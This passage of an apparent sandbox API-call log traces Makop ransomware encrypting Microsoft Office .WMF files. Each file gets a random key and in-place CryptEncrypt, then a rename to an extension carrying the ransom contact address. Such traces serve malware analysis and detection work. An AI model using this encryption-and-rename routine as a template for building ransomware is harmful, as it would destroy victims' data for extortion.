lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.039] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.040] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.040] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.040] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7148, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x7148, lpOverlapped=0x0) returned 1 [0164.042] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7150, dwBufLen=0x7150 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x7150) returned 1 [0164.042] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.042] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x7150, lpOverlapped=0x0) returned 1 [0164.043] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.043] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x7224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.043] SetEndOfFile (hFile=0xf0) returned 1 [0164.050] GetProcessHeap () returned 0x48a0000 [0164.050] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.050] GetProcessHeap () returned 0x48a0000 [0164.050] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.050] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.051] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292020.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292020.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.052] CloseHandle (hObject=0xf0) returned 1 [0164.052] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4af05900, ftCreationTime.dwHighDateTime=0x1bf1522, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x4af05900, ftLastWriteTime.dwHighDateTime=0x1bf1522, nFileSizeHigh=0x0, nFileSizeLow=0x20ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292152.WMF", cAlternateFileName="")) returned 1 [0164.052] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF") returned 61 [0164.052] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.054] GetProcessHeap () returned 0x48a0000 [0164.054] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.054] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.054] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.054] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0164.058] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.058] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.058] GetProcessHeap () returned 0x48a0000 [0164.058] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.058] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.059] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.059] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.059] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.059] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.060] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.060] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.060] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.060] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.060] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x20ce, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x20ce, lpOverlapped=0x0) returned 1 [0164.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20d0, dwBufLen=0x20d0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x20d0) returned 1 [0164.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x20d0, lpOverlapped=0x0) returned 1 [0164.063] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.063] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x21a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.063] SetEndOfFile (hFile=0xf0) returned 1 [0164.069] GetProcessHeap () returned 0x48a0000 [0164.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.070] GetProcessHeap () returned 0x48a0000 [0164.070] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.070] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.070] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292152.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292152.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.074] CloseHandle (hObject=0xf0) returned 1 [0164.074] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48b60800, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x48b60800, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x998, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0292982.WMF", cAlternateFileName="")) returned 1 [0164.074] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF") returned 61 [0164.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.075] GetProcessHeap () returned 0x48a0000 [0164.075] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.075] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.076] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.080] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.080] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.080] GetProcessHeap () returned 0x48a0000 [0164.080] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.080] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.081] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.081] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.081] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.081] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.082] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.082] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x998, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x998, lpOverlapped=0x0) returned 1 [0164.082] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a0, dwBufLen=0x9a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x9a0) returned 1 [0164.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.082] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x9a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x9a0, lpOverlapped=0x0) returned 1 [0164.082] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.082] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xa74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.082] SetEndOfFile (hFile=0xf0) returned 1 [0164.088] GetProcessHeap () returned 0x48a0000 [0164.088] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.088] GetProcessHeap () returned 0x48a0000 [0164.088] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.089] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.089] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0292982.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0292982.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.090] CloseHandle (hObject=0xf0) returned 1 [0164.090] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x5ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293234.WMF", cAlternateFileName="")) returned 1 [0164.090] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF") returned 61 [0164.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.091] GetProcessHeap () returned 0x48a0000 [0164.092] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.092] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0164.097] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.097] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.097] GetProcessHeap () returned 0x48a0000 [0164.097] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.097] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.097] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0164.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0164.098] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0164.098] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0164.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0164.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0164.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.098] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.099] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x5ba, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x5ba, lpOverlapped=0x0) returned 1 [0164.099] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0, dwBufLen=0x5c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x5c0) returned 1 [0164.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.099] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x5c0, lpOverlapped=0x0) returned 1 [0164.099] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.099] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x694, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.099] SetEndOfFile (hFile=0xf0) returned 1 [0164.105] GetProcessHeap () returned 0x48a0000 [0164.105] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0164.105] GetProcessHeap () returned 0x48a0000 [0164.105] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0164.105] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0164.105] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293234.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293234.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0164.108] CloseHandle (hObject=0xf0) returned 1 [0164.108] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9af72900, ftCreationTime.dwHighDateTime=0x1bf16a4, ftLastAccessTime.dwLowDateTime=0xbd61d940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9af72900, ftLastWriteTime.dwHighDateTime=0x1bf16a4, nFileSizeHigh=0x0, nFileSizeLow=0x766, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0293236.WMF", cAlternateFileName="")) returned 1 [0164.108] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF") returned 61 [0164.108] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0293236.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0293236.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0164.111] GetProcessHeap () returned 0x48a0000 [0164.111] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0164.111] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0164.111] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0164.112] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0164.116] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0164.116] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0164.116] GetProcessHeap () returned 0x48a0000 [0164.116] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0164.116] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0164.116] CryptDestroyKey (hKey=0x48c7128) returned 1 [0164.116] WriteFile 